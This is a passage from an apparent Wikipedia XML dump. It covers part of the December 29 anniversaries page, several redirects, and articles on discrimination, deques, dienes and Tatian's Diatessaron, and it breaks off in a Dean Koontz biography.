*[[1997]] - [[Hong Kong]] begins to kill all the nation's [[chicken]]s (1.25 million) to stop the spread of a potentially deadly [[influenza]] strain.  
*[[1998]] - Leaders of the [[Khmer Rouge]] apologize for the [[1970s]] [[genocide]] in [[Cambodia]] that claimed over 1 million.
*[[2001]] - A massive fire in the historic district of downtown [[Lima]], [[Peru]] kills at least 274 people.

==Births==
*[[1709]] - Empress [[Elizabeth of Russia]] (d. [[1762]])
*[[1721]] - [[Madame de Pompadour]], mistress of King [[Louis XV of France]] (d. [[1764]])
*[[1796]] - [[Johann Christian Poggendorff]], German physicist (d. [[1877]])
*[[1800]] - [[Charles Goodyear]], American inventor and businessman (d. [[1860]])
*[[1808]] - [[Andrew Johnson]], 17th [[President of the United States]] (d. [[1875]])
*[[1809]] - [[William Ewart Gladstone]], [[Prime Minister of the United Kingdom]] (d. [[1897]])
*[[1816]] - [[Carl Ludwig]], German physician (b. [[1895]])
*[[1876]] - [[Pablo Casals]], Catalan cellist and conductor (d. [[1973]])
*[[1881]] - [[Jess Willard]], American boxer (d. [[1968]])
*[[1899]] - [[Nie Rongzhen]], Chinese Communist military leader (d. [[1992]])
*[[1908]] - [[Helmut Gollwitzer]], German theologian (d. [[1993]])
*[[1910]] - [[Ronald Coase]], British economist, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner
*[[1914]] - [[Billy Tipton]], American musician (d. [[1989]])
*1914 - [[Albert Tucker (artist)|Albert Tucker]], Australian artist (d [[1999]])
*[[1917]] - [[Tom Bradley (politician)|Tom Bradley]], Mayor of Los Angeles, California (d. [[1998]])
*[[1927]] - [[Andy Stanfield]], American athlete (d. [[1985]])
*[[1928]] - [[Bernard Cribbins]], British actor
*[[1931]] - Prince [[Yi Ku|Gu of Korea]] (d. [[2005]])
*[[1934]] - [[Tom Jarriel]], American correspondent
*[[1936]] - [[Mary Tyler Moore]], American actress
*1936 - [[Ray Nitschke]], American football player (d. [[1998]])
*[[1937]] - [[Barbara Steele]], British actress
*[[1938]] - [[Jon Voight]], American actor
*[[1941]] - [[Ray Thomas]], British musician ([[The Moody Blues]])
*[[1942]] - [[Rick Danko]], Canadian musician ([[The Band]]) (d. [[1999]])
*[[1946]] - [[Marianne Faithfull]], British singer
*[[1947]] - [[Ted Danson]], American actor
*[[1951]] - [[Yvonne Elliman]], American disco singer
*[[1952]] - [[Gelsey Kirkland]], American dancer
*[[1953]] - [[Gali Atari]], Israeli singer
*[[1954]] - [[Roger Voudouris]], American singer and songwriter
*[[1959]] - [[Patricia Clarkson]], American actress
*[[1963]] - [[Francisco Bustamante]], Filipino billiard player
*1963 - [[Dave McKean]], British artist and filmmaker
*[[1965]] - [[Dexter Holland]], American singer and guitarist ([[The Offspring]])
*[[1967]] - [[Andy Wachowski]], American director
*1967 - [[Ashleigh Banfield]], Canadian journalist
*[[1970]] - [[Aled Jones]], Welsh singer and television presenter
*1970 - [[Kevin Weisman]], American actor
*1970 - [[Glen Phillips]], American singer/songwriter ([[Toad The Wet Sprocket]])
*[[1972]] - [[Jason Kreis]], American soccer player 
*1972 - [[Jude Law]], British actor
*[[1973]] - [[Theo Epstein]], American baseball general manager
*[[1974]] - [[Richie Sexson]], American baseball player
*[[1978]] - [[Alexis Amore]], Peruvian actress, dancer, and model
*1978 - [[Kieron Dyer]], British footballer 
*1978 - [[LaToya London]], American singer
*[[1981]] - [[Angela Via]], American singer
*1981 - [[Shizuka Arakawa]], Japanese figure skater
*[[1991]] - [[Andres Felipe Herrera]], Colombian Singer

==Deaths==
*[[1170]] - [[Thomas Becket]], [[Archbishop of Canterbury]] (assassinated)
*[[1563]] - [[Sebastian Castellio]], French theologian (b. [[1515]])
*[[1634]] - [[John Albert Vasa]], Polish bishop (b. [[1612]])
*[[1661]] - [[Antoine Gérard de Saint-Amant]], French poet (b. [[1594]])
*[[1689]] - [[Thomas Sydenham]], English physician (b. [[1624]])
*[[1731]] - [[Brook Taylor]], English mathematician (b. [[1685]])
*[[1785]] - [[Johan Herman Wessel]], Norwegian poet (b. [[1742]])
*[[1825]] - [[Jacques-Louis David]], French painter (b. [[1748]])
*[[1891]] - [[Leopold Kronecker]], mathematician (b. [[1823]])
*[[1894]] - [[Christina Rossetti]], English poet (b. [[1830]])
*[[1916]] - [[Grigori Rasputin]], Russian monk (b. [[1869]])
*[[1924]] - [[Carl Spitteler]], Swiss writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1845]])
*[[1926]] - [[Rainer Maria Rilke]], Austrian writer (b. [[1875]])
*[[1929]] - [[Wilhelm Maybach]], German automobile designer (b. [[1846]])
*[[1937]] - [[Don Marquis]], American author (b. [[1878]])
*[[1960]] - [[Eden Phillpotts]], British writer (b. [[1862]])
*[[1967]] - [[Paul Whiteman]], American musician and conductor (b. [[1890]])
*[[1980]] - [[Tim Hardin]], American musician (b. [[1941]])
*1980 - [[Nadezhda Mandelstam]], Russian writer (b. [[1899]])
*[[1986]] - [[Harold Macmillan]], [[Prime Minister of the United Kingdom]] (b. [[1894]])
*[[2003]] - [[Earl Hindman]], American actor (lung cancer) (b. [[1942]])
*2003 - [[Dinsdale Landen]], English actor (cancer) (b. [[1932]])
*2003 - [[Bob Monkhouse]], English comedian and game show host (b. [[1928]])
*[[2004]] - [[Julius Axelrod]], American biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1912]])
*2004 - [[Liddy Holloway]], New Zealand actress (b. [[1947]])

==Holidays and observances==
*The fourth [[Twelvetide|day of Christmas]] in Western [[Christianity]].
*[[Calendar of Saints|R.C. Saints]] - [[Thomas Becket]] (optional memorial)
*[[USA]] - Admission Day of Texas (28th state, [[1845]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/29 BBC: On This Day]
* [http://www.tnl.net/when/12/29 Today in History: December 29]
----

[[December 28]] - [[December 30]] - [[November 29]] - [[January 29]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:29 Desember]]
[[ar:29 ديسمبر]]
[[an:29 d'abiento]]
[[ast:29 d'avientu]]
[[bg:29 декември]]
[[be:29 сьнежня]]
[[bs:29. decembar]]
[[ca:29 de desembre]]
[[ceb:Disyembre 29]]
[[cv:Раштав, 29]]
[[co:29 di decembre]]
[[cs:29. prosinec]]
[[cy:29 Rhagfyr]]
[[da:29. december]]
[[de:29. Dezember]]
[[et:29. detsember]]
[[el:29 Δεκεμβρίου]]
[[es:29 de diciembre]]
[[eo:29-a de decembro]]
[[eu:Abenduaren 29]]
[[fo:29. desember]]
[[fr:29 décembre]]
[[fy:29 desimber]]
[[ga:29 Nollaig]]
[[gl:29 de decembro]]
[[ko:12월 29일]]
[[hr:29. prosinca]]
[[io:29 di decembro]]
[[id:29 Desember]]
[[ia:29 de decembre]]
[[is:29. desember]]
[[it:29 dicembre]]
[[he:29 בדצמבר]]
[[jv:29 Desember]]
[[ka:29 დეკემბერი]]
[[csb:29 gòdnika]]
[[ku:29'ê berfanbarê]]
[[la:29 Decembris]]
[[lt:Gruodžio 29]]
[[lb:29. Dezember]]
[[hu:December 29]]
[[mk:29 декември]]
[[ms:29 Disember]]
[[nap:29 'e dicembre]]
[[nl:29 december]]
[[ja:12月29日]]
[[no:29. desember]]
[[nn:29. desember]]
[[oc:29 de decembre]]
[[os:29 декабры]]
[[pl:29 grudnia]]
[[pt:29 de Dezembro]]
[[ro:29 decembrie]]
[[ru:29 декабря]]
[[se:Juovlamánu 29.]]
[[sco:29 December]]
[[sq:29 Dhjetor]]
[[scn:29 di dicèmmiru]]
[[simple:December 29]]
[[sk:29. december]]
[[sl:29. december]]
[[sr:29. децембар]]
[[fi:29. joulukuuta]]
[[sv:29 december]]
[[tl:Disyembre 29]]
[[tt:29. Dekäber]]
[[te:డిసెంబర్ 29]]
[[th:29 ธันวาคม]]
[[vi:29 tháng 12]]
[[tr:29 Aralık]]
[[uk:29 грудня]]
[[wa:29 di decimbe]]
[[war:Disyembre 29]]
[[zh:12月29日]]
[[pam:Disiembri 29]]</text>
    </revision>
  </page>
  <page>
    <title>DNA chip</title>
    <id>8894</id>
    <revision>
      <id>15906831</id>
      <timestamp>2003-10-13T07:38:06Z</timestamp>
      <contributor>
        <username>168...</username>
        <id>7488</id>
      </contributor>
      <minor />
      <comment>redirecting to DNA microarray. style's different, but most of the content is there and in more detail w/less mistakes</comment>
      <text xml:space="preserve">#REDIRECT: [[DNA microarray]]</text>
    </revision>
  </page>
  <page>
    <title>Despina</title>
    <id>8895</id>
    <revision>
      <id>34845958</id>
      <timestamp>2006-01-12T03:13:49Z</timestamp>
      <contributor>
        <username>JLaTondre</username>
        <id>394292</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.107.84.50|68.107.84.50]] to last version by YurikBot</comment>
      <text xml:space="preserve">*[[Despina (mythology)|Despina]] is a figure in [[Greek mythology]].
*[[Despina (moon)|Despina]] is a moon of [[Neptune (planet)|Neptune]].

{{disambig}}

[[hr:Despina]]
[[he:דספינה (פירושונים)]]</text>
    </revision>
  </page>
  <page>
    <title>Darwinian</title>
    <id>8898</id>
    <revision>
      <id>15906834</id>
      <timestamp>2004-07-13T19:59:23Z</timestamp>
      <contributor>
        <username>Harry R</username>
        <id>63691</id>
      </contributor>
      <comment>change redirect; now redirects to [[darwinism]] rather than [[Charles Darwin]]</comment>
      <text xml:space="preserve">#REDIRECT [[Darwinism]]</text>
    </revision>
  </page>
  <page>
    <title>DXF</title>
    <id>8899</id>
    <revision>
      <id>15906835</id>
      <timestamp>2005-04-17T02:39:59Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[AutoCAD DXF]]</text>
    </revision>
  </page>
  <page>
    <title>Discrimination</title>
    <id>8900</id>
    <revision>
      <id>41730532</id>
      <timestamp>2006-03-01T09:52:46Z</timestamp>
      <contributor>
        <ip>62.219.164.46</ip>
      </contributor>
      <comment>/* Religious Discrimination */</comment>
      <text xml:space="preserve">{{neutrality}}
To '''discriminate''' is to make a distinction between people on the basis of class or category without regard to individual merit. Examples include [[social]], [[race|racial]], [[religion|religious]], [[sex]]ual, [[disability]], [[ethnicity|ethnic]] and [[ageism|age-related]] discrimination. Some distinctions between people which are based just on individual merit (such as personal appearance) may be inappropriate (or even illegal) in some situations, but they are not discriminatory.

Examples of discrimination within countries include: [[apartheid]] in [[South Africa]]; institutionalized [[Racial segregation|racial segregation]] in the USA from the [[United States Civil War|Civil War]] through the [[1960s]]; the &quot;Jewish problem&quot; in [[Nazi Germany]]; and [[reeducation camp]]s in some [[communist]] countries. 

Many governments have attempted to control discrimination through [[civil rights]] legislation, [[equal opportunity]] laws and institutionalised policies of [[affirmative action]] (called [[reverse discrimination]] by its opponents).

Even in western, secular countries, governments practice discrimination. For example, governments may provide better treatment to citizens than to non-citizens. Unemployed citizens may receive welfare benefits funded by taxpayers, while unemployed non-citizens may be denied such benefits. Governments often have the power to forcefully expel non-citizens but cannot expel citizens. Discrimination based on citizenship status is not generally considered illegal.

==Religious Discrimination==

Today, Muslims widely face job related discrimination in the West, particularly in the [United States of America], following the [[September 11, 2001 attacks|terrorist attacks of September 11, 2001]]. Since that attack, the [[EEOC]] has received more than 800 charge filings nationwide, alleging backlash discrimination by individuals who are or who are perceived to be Muslim, Arabic, Middle Eastern, South Asian or Sikh. The two most common issues alleged are harassment and discharge.

Another example of discrimination against [[Muslim|Muslims]] is occurring in a different hemisphere. Leaders of France, Austria, Germany and the Vatican have openly declared that [[Turkey]] is unqualified to be a full member of the institution because of its &quot;religious and ethnic differences&quot; {{facts}}. Some people consider this to be a very significant case of religious discrimination on an international level. 

Currently, non-Muslims are discriminated against in the few remaining Islamic [[theocratic]] states. Jews and Christians have historically had fewer rights than Muslim citizens in Muslim states; non-Muslims [[monotheism|monotheists]] have been consigned to the status of [[dhimmi]]s in some cases. [[Marxism|Marxist]] states have discriminated against all religions at some time or another. This continues in [[North Korea]], [[China]] and [[Vietnam]], and many former [[Soviet]] republics. 

The Kingdom of [[Jordan]] forbids Jews from becoming citizens, although people of any other group are allowed to do so (law No. 6, sect. 3, of April 3, 1954; restated in law no. 7, sect. 2, of April 1, 1963). [[Saudi Arabia]] forbids non-Muslims from practising their religion in public, and clergy may not enter the country to lead ceremonies of other faiths. Christians asking Muslims to convert to Christianity have been persecuted and arrested; Muslims who have converted to Christianity have been executed as [[apostate]]s.  Fictional tales of Jews committing diabolic crimes are published by the state.  The article on [[discrimination against non-Muslims in Saudi Arabia]] discusses this subject in more depth.

Some others claim that non-religious people (atheists, agnostics, etc.) are subject to the most widespread religious discrimination.  During his 1988 Presidential campaign, [[George H.W. Bush]] stated that atheists should not be considered patriots or citizens.

Religious students may be said to be discriminated in schools both publicly and privately. For example, names of clubs have been changed due to claims by administrative staff that some part of the name or the symbolism it represents may offend other students, parents, or teachers.

==Age Discrimination==

[[Ageism|Age Discrimination]] is discrimination against a person or group on the grounds of age. Although theoretically the word can refer to the discrimination against any age group, age discrimination usually comes in one of two forms: discrimination against [[youth]], and discrimination against the [[elderly]].

In many countries, companies more or less openly refuse to hire people above a certain age despite the increasing lifespans and average age of the population. The reasons for this range from vague feelings that younger people are more &quot;dynamic&quot; and create a positive image for the company, to more concrete concerns about regulations granting older employees higher salaries or other benefits without these expenses being fully justified by an older employees' greater experience.

Some underage [[teenagers]] consider that they're victims of age discrimination on the grounds that they should be treated more respectfully by adults and not as second-class citizens. Some complain that social [[stratification]] in age groups causes outsiders to incorrectly [[stereotype]] and generalize the group, for instance that all adolescents are equally immature, violent or rebellious, listen to rock or rap music and do [[hard_and_soft_drugs |drug]]s. Some have organized groups against age discrimination.

==Gender Discrimination==

Gender discrimination is any action that grants or denies opportunities, privileges, or rewards to a person just on the basis of their sex.

The [[United Nations]] has concluded that women often experience a &quot;glass ceiling&quot; and that there are no societies in which women enjoy the same opportunities as men. The term 'glass ceiling' describes the process by which women are barred from promotion by means of an invisible barrier. In the [[USA]], the Glass Ceiling Commission has stated that between 95 and 97 per cent of senior managers in the country's biggest corporations are men. 

Socially, sexual differences have been used to justify societies in which one sex or the other  has been restricted to significantly inferior and secondary roles. While there are non-physical differences between men and women, there is little agreement as to what those differences are.

Legislation to promote gender equality is generally complex and varied, with a wide divergence between different countries. The principal legislation in the UK is found in the Equal Pay Act of 1970 (which provides for equal pay for comparable work) and the Sex Discrimination Act of 1975, which makes discrimination against women or men (including discrimination on the grounds of marital status) illegal in the working situation.

==Sexual Orientation Discrimination==

Sexual orientation discrimination is discrimination against individuals, couples or groups based on sexual orientation or perceived sexual orientation.  Predominantly, this involves the discrimination of a person who has a same-sex sexual orientation, whether or not they identify as gay, lesbian or bisexual.  Sexual minorities are often seen as undesirable or immoral by one or more social groups and, thus, discrimination against them is frequently codified into law.  As acceptability of sexual orientation varies greatly from society to society, the degree to which discrimination is sanctioned by society also varies greatly.   Discrimination based on sexual orientation is often exacerbated by frustration or anger brought about societal changes that seem threatening to some members of society.   In particular, changing gender roles and the increased equality afforded women in most societies is perceived as a threat to traditional patriarchal roles.   Similarly, sexual minorities can also be viewed as a threat to gender roles that favor male power in a traditional social structure. 

During the last century, as a result of greater acceptance and visibility of sexual minorities in most developed countries, discrimination based on sexual orientation is increasingly seen as unjust and, in more and more nations and localities, has been rendered illegal.   The Republic of South Africa is the first nation on earth to embed freedom from discrimination based on sexual orientation into its constitution.  In the United States, 17 states have banned discrimination based on sexual orientation with most laws focusing on freedom from discrimination in the work place, housing and public accommodations.    Most of these states exempt religious institutions from these anti-discrimination clauses, and several exempt small businesses.   Historically, conservative religious leaders and organizations have been at the forefront of fighting legislation to ban discrimination based on sexual orientation.  Increasingly, however, progressive religious leaders have joined with gay rights and human rights activists in seeking to overturn laws that sanction this form of discrimination.

==External links==

*[http://hrw.org/english/docs/2004/08/12/isrlpa9228.htm Human Rights Watch on Israel] &amp;ndash; State Discrimination in the school system.
*[http://www.iht.com/articles/2006/02/03/news/denmark.php International Heral Tribune on Denmark] &amp;ndash; Discrimination against Muslims.

==See also==
*[[Second-class citizen]]
*[[reverse discrimination]]

[[Category:Discrimination|*]]

[[bg:Дискриминация]]
[[cs:Diskriminace]]
[[da:Diskrimination]]
[[de:Diskriminierung]]
[[es:Discriminación]]
[[fr:Discrimination]]
[[he:אפליה]]
[[hu:Hátrányos megkülönböztetés]]
[[nl:Discriminatie]]
[[ja:差別]]
[[pl:Dyskryminacja (psychologia społeczna)]]
[[pt:Discriminação]]
[[sk:Diskriminácia (znevýhodňovanie)]]
[[sl:Diskriminacija]]
[[sr:Дискриминација]]
[[sv:Diskriminering]]
[[zh:歧視]]</text>
    </revision>
  </page>
  <page>
    <title>Devnagri</title>
    <id>8901</id>
    <revision>
      <id>17734157</id>
      <timestamp>2005-06-28T04:28:28Z</timestamp>
      <contributor>
        <username>CesarB</username>
        <id>7410</id>
      </contributor>
      <minor />
      <comment>fix dbl redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Devanāgarī]]</text>
    </revision>
  </page>
  <page>
    <title>Direct Connect</title>
    <id>8903</id>
    <revision>
      <id>15906838</id>
      <timestamp>2002-05-15T15:30:47Z</timestamp>
      <contributor>
        <ip>62.188.202.206</ip>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#redirect [[direct connect]]</text>
    </revision>
  </page>
  <page>
    <title>Deque</title>
    <id>8904</id>
    <revision>
      <id>28983957</id>
      <timestamp>2005-11-22T14:46:14Z</timestamp>
      <contributor>
        <ip>203.145.163.149</ip>
      </contributor>
      <text xml:space="preserve">In [[computer science]], a '''deque''' or '''dequeue''' (short for ''double-ended [[queue]]'') is a [[data structure]] for which elements can be added to or removed from the front or back.  This differs from a normal [[queue]], where elements can only be added to one end and removed from the other.  A deque maintains a slightly modified [[FIFO]] structure, doing so using each end as both left and right.  A common implemenation of a deque uses a [[linked list | doubly linked list]].

''Deque'' is usually pronounced ''deck''.

== See also ==
*[[Data structure]]
**Linear data structures
***[[Array]]
***[[Linked list]]
***[[Queue]]
***[[Stack (computing)|Stack]]

== References ==

* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 1: ''Fundamental Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89683-4. Section 2.2.1: Stacks, Queues, and Deques, pp. 238&amp;ndash;243.

{{compu-sci-stub}}

[[Category:data structures]]

[[de:Deque]]</text>
    </revision>
  </page>
  <page>
    <title>Diene</title>
    <id>8905</id>
    <revision>
      <id>35969167</id>
      <timestamp>2006-01-20T16:29:26Z</timestamp>
      <contributor>
        <username>HenkvD</username>
        <id>140348</id>
      </contributor>
      <minor />
      <comment>intereiki nl:</comment>
      <text xml:space="preserve">'''Dienes''' are [[hydrocarbon|hydrocarbons]] which contain two [[covalent bond|double bonds]]. Dienes are intermediate between [[alkene]]s and [[polyene]]s.
 
==Classes==
Dienes can divided into three classes: 
#'''Unconjugated dienes''' have the double bonds separated by two or more single bonds.
#'''Conjugated dienes''' have [[Conjugated system|conjugated]] double bonds separated by one single bond 
#'''Cumulated dienes''' have the double bonds sharing a common atom as in a group of compounds called [[allene]]s.

In [[organic chemistry]] a conjugated diene is also a [[functional group]].

==Common dienes ==
The simplest conjugated diene is 1,3-[[butadiene]]. [[Cyclopentadiene]] is another example of a diene.

[[image:butadiene.png|right|1,3-butadiene]]

== Reactions with dienes ==
The 1,3 configuration of double bonds found in 1,3-butadiene (conjugated double bonds) make these types of dienes capable of participating in more reaction types than is the case for [[molecule]]s with either just a single [[alkene]] [[functional group]] or with multiple, but non-alternating, alkene groups. One possible reaction for such dienes is the [[Diels-Alder reaction]].





[[Category:functional groups]]
[[Category:Hydrocarbons]]

[[ar:دايين]]
[[de:Polyene]]
[[fr:Diène]]
[[lv:Alkadiēni]]
[[nl:Alkadieen]]
[[pl:Dien]]
[[ru:&amp;#1044;&amp;#1080;&amp;#1077;&amp;#1085;&amp;#1099;]]
[[sr:Диен]]
[[sv:Dien]]</text>
    </revision>
  </page>
  <page>
    <title>Diatessaron</title>
    <id>8906</id>
    <revision>
      <id>37552683</id>
      <timestamp>2006-01-31T19:08:43Z</timestamp>
      <contributor>
        <username>Garzo</username>
        <id>140345</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.31.169.149|66.31.169.149]] ([[User talk:66.31.169.149|talk]]) to last version by 213.122.19.53</comment>
      <text xml:space="preserve">:'''''Diatessaron''' is also an ancient name for the musical interval of a [[perfect fourth]].''
[[Tatian]]'s '''''Diatessaron''''', produced ca. [[175]] AD, was the most prominent of a number of harmonies of the four [[Gospels]], that is, the material of the four distinct Gospels rewritten as a continuous narrative, resolving conflicting statements and removing duplicated text (see [[synoptic problem]]). Only 56 verses in the canonical Gospels do not have a counterpart in the Diatessaron, the bulk of the excluded material comprising the two apparently irreconcilable [[genealogy of Jesus|genealogies of Jesus]] (one in the [[Gospel of Matthew]] and one in the [[Gospel of Luke]]), together with the [[pericope]] of the adulteress (John 7:53 - 8:11). No significant text was added; but, in order to fit all the canonical material in, Tatian felt free to create his own narrative sequence that departed radically from the succession and order of episodes in every one of the four Gospels. The final work is about 72% the length of the four gospels put together (McFall, 1994)

[[Tatian]] was a Syrian Christian who was a pupil of [[Justin Martyr]] in Rome.  It is generally agreed that Justin already possessed some sort of a [[harmony]] text, but it is unclear how far Tatian may have borrowed his narrative sequence from a previous author. It is equally unclear whether Tatian took the Syriac Gospel text of the Diatessaron from a previous translation, or whether the translation was his own. Tatian most likely did make use of a pre-existing translation of the [[Hebrew language|Hebrew]] Bible into Syriac as the text for those Gospel passages that quote the [[Old Testament]]. Resolution of these scholarly questions has been made more difficult as long as no complete version of ''Diatessaron'' in Syriac or Greek had been recovered; while the medieval translations that did survive - in Arabic and Latin - both relied on texts that had been heavily corrected to conform better with later canonic versions of the separate Gospel texts.  

There has even been disagreement about what language Tatian used for its original composition, whether [[Syriac language|Syriac]] or [[Greek language|Greek]]. Modern scholarship tends to favour a Syriac origin; but even so, the exercise must have been repeated in Greek very shortly afterwards&amp;mdash;probably by Tatian himself. 

The ''Diatessaron'' was used as the standard Gospel text in the liturgy of the [[Syriac Christianity|Syrian Church]] for two centuries and was quoted or alluded to by Syrian writers. [[Ephrem the Syrian]] wrote a commentary on it, which was rediscovered in 1957, when a Syriac manuscript acquired by Sir [[Chester Beatty]] from the Coptic monastery of Deir es-Suriani in [[Wadi Natrun]], Egypt (now Chester Beatty Syriac MS 709, Dublin) turned out to contain the text of Ephrem's commentary. The incomplete manuscript has been supplemented by stray folios that have appeared on the European market, so that now approximately eighty per cent of the Syriac original is available (McCarthy 1994); in the form of quotations, it provides for the first time, a dependable witness to Tatian's original [http://www.ccel.org/fathers2/ANF-10/anf10-06.htm].

How the Gospel text that was the standard in Syriac Christianity for two centuries should have utterly disappeared requires explaining. [[Theodoret]], bishop of Cyrrhus on the Euphrates in upper Syria in 423, suspecting Tatian having been a heretic, sought out and found more than two hundred copies of the ''Diatessaron'', which he [[Book burning|&quot;collected and put away]], and introduced instead of them the Gospels of the four evangelists&quot;. Thus the harmonisation was replaced in the 5th century by the canonical four gospels individually. Gradually, without extant copies to which to refer, it developed a reputation for having been [[heresy|heretical]].

The Syrian Church was unique in utilising a harmonised Gospel text in its [[liturgy]] - if only for two centuries. However, given the inherent tendancy of Christian liturgical texts to ossification, it was not unusual for subsequent Christian generations to seek to provide paraphrased Gospel versions in language closer to the [[vernacular]] of their own day.  Frequently such versions have been constructed as Gospel harmonies, sometimes taking the Tatian's Diatessaron as an exemplar; other times proceeding independently. Hence from the Syriac Diatessaron text was derived an 11th Century [[Arabic Language|Arabic]] harmony (the source for the published versions of the Diatessaron in English); and a 13th Century [[Persian Language|Persian]] harmony.  The Arabic harmony preserves Tatian's sequence exactly, but with a text corrected to that of the standard Syriac [[Peshitta]] Gospels; the Persian harmony differs greatly in sequence, but translates a Syriac text that is rather closer to that in Ephrem's commentary.

An [[Vetus Latina|Old Latin]] version of Tatian's Syriac text appears to have circulated in the West from a relatively early date, but with the gradual adoption of the [[Vulgate]] as the liturgical Gospel text of the Latin Church, the Latin Diatessaron was increasingly modified to conformity with Vulgate readings.  In [[546]] Victor of [[Capua]] discovered such a mixed manuscript; and, further corrected by Victor so as to provide a very pure Vulgate text within a modified Diatessaron sequence, this harmony survives in the monastic library at [[Fulda]], where it served as the source text for vernacular harmonies in [[Old High German]], Eastern Frankish and [[Old Saxon]] (the alliterative poem '[[Heliand]]'). The mixed Vulgate/Diatessaron text type also appears to have continued as a distinct tradition, as such texts appear to underly surviving 13th-14th century Gospel harmonies in [[Middle Dutch]], [[Middle High German]], [[Middle French]], [[Middle English]], [[Italian Language|Tuscan]] and [[Italian Language|Venetian]]; although no example of this hypothetical Latin sub-text has ever been identified.   This Latin Diatesaron textual tradition has also been suggested as underlying the enigmatic 16th century pro-[[Muslim]] [[Gospel of Barnabas]](Joosten, 2002).        

The name 'Diatessaron' is Greek for 'through four'; the Syriac name for this gospel harmony is 'Ewangeliy&amp;ocirc;n Damhallt&amp;ecirc;' ('Gospel of the Mixed'). Indeed, the Syrian Church also rejected John's ''[[Revelation]]'' and the [[Pastoral epistle]]s. They were included again only in the middle of the sixth century.

In the tradition of Gospel harmonies, there is another ''Diatessaron'', reportedly written by one Ammonius Saccas, to correct perceived deficencies in Tatian's. (Note that this Ammonius Saccas is probably not the [[Ammonius Saccas]] who taught [[Origen]] and [[Plotinus]], but rather a different philosopher with the same name). None of this revised ''Diatessaron'' survives, except as it may have influenced the medieval Arabic and Latin texts that were formerly the only existing reflections of Tatian's work.

Gospel harmonies are valuable in studies of biblical texts, since they frequently offer glimpses of earlier versions of texts. In particular, due to their not having been copied as frequently as biblical texts, more of the earlier versions survive (as newer copies did not exist to replace them). As such, the extant texts contain within them portions of earlier versions of the gospels than the earliest separate gospels known.

In addition, because the Old Testament quotations in the Diatessaron are separately translated from the Hebrew - and hence independant of the [[Septuagint]] - these quotations form an important early witness to the vocalisation of the Hebrew Bible.

The [[Qur'an]], in referring to Christians and Christian scripture, only makes reference to one [[gospel]]. from this it has been inferred that the Arabian Christians of the 7th century were habitually using a harmonization such as the Diatessaron as their principle scripture. 

==External links==
*[http://www.earlychristianwritings.com/diatessaron.html Early Christian Writings:] ''Diatessaron'' e-text and commentaries.
*[http://www.ccel.org/fathers2/ANF-10/anf10-06.htm ''Ante-Nicene Fathers'' vol. X:] based on an 11th century Arabic translation from the Syriac 

==References==
*Carmel McCarthy, 1994. ''Saint Ephrem's Commentary on Tatian's Diatessaron: An English Translation of Chester Beatty Syriac MS 709 with Introduction and Notes'' (Oxford University Press)  ISBN 13: 9780199221639 The first English translation.
*William L. Petersen, &quot;Textual evidence of Tatian's dependence upon Justin's ''Apomnemonegmata'', ''New Testament Studies'' 36 (1990) 512-534.
*Jeffrey Tigay, editor. ''Empirical Models for Biblical Criticism.''  Philadelphia: University of Pennsylvania Press, 1986
*Leslie McFall, 1994. &quot;Tatian's Diatessaron: Mischievous or Misleading?&quot; Westminster Theological Journal vol. 56 (1994) pp. 87-114.
*Jan Joosten, 2002. &quot;The Gospel of Barnabas and the Dietessaron&quot; Harvard Theological Review 95.1 (2002): pp 73-96.


[[Category:New Testament Apocrypha]]
[[Category:Ancient Roman Christianity]]

[[cs:Diatessaron]]
[[de:Evangelienharmonie]]
[[sv:Diatessaron]]</text>
    </revision>
  </page>
  <page>
    <title>Dean Koontz</title>
    <id>8910</id>
    <revision>
      <id>42080812</id>
      <timestamp>2006-03-03T18:17:28Z</timestamp>
      <contributor>
        <username>KF</username>
        <id>3602</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Dean Ray Koontz''' (born [[July 9]], [[1945]] in [[Everett, Pennsylvania]]) is a prolific and best-selling [[fiction]] [[author]] known primarily for his popular suspense novels.

==Biography==
Dean Koontz grew up in desperate poverty under the tyranny of a violent [[alcoholic]] father (Koontz's father served time in prison for trying to murder him). Despite his traumatic childhood, Koontz put himself through [[Shippensburg University of Pennsylvania]] (then known as Shippensburg State College), and in [[1967]] went to work as an English teacher at Mechanicsburg High School. In his spare time he wrote his first novel, ''[[Star Quest]]'', which was published in [[1968 in literature|1968]]. From there he went on to write over a dozen more [[science fiction]] [[novel]]s. 

In the 1970s, Koontz began publishing mainstream suspense and [[horror fiction]], under his own name as well as under several [[pseudonym]]s; Koontz has stated he used pen names after several editors convinced him that authors who switched genre fell victim to &quot;negative crossover&quot;: alienating established fans, while simultaneously not picking up any new fans. Known pseudonyms include Deanna Dwyer, K. R. Dwyer, Aaron Wolfe, David Axton, Brian Coffey, John Hill, Leigh Nichols, Owen West, and Richard Paige. Currently some of those novels are sold under Koontz's real name.

Koontz's breakthrough novel was ''[[Whispers]]'' (1980). Several of his books have reached #1 on the [[New York Times bestseller list|''New York Times'' bestseller list]].  

Koontz is renowned for his skill at writing suspenseful page-turners. His strengths also include memorable characters, original ideas, and ability to blend [[horror fiction|horror]], [[fantasy]] and [[humour]]. Koontz has been criticized for his tendency to include too many similes and therefore to drag out descriptions, his frequent use of similar [[plot]]ting structures, and a tendency to moralize heavily.

Arguably, most of Koontz's work can still be classified as science fiction, as he tries to create plausible, consistent explanations for the unusual, fantastic events featured in most of his novels.

Koontz's protagonists invariably arm themselves with guns to combat the various monsters and madmen that they deal with, and Koontz gets all the technical details right. 

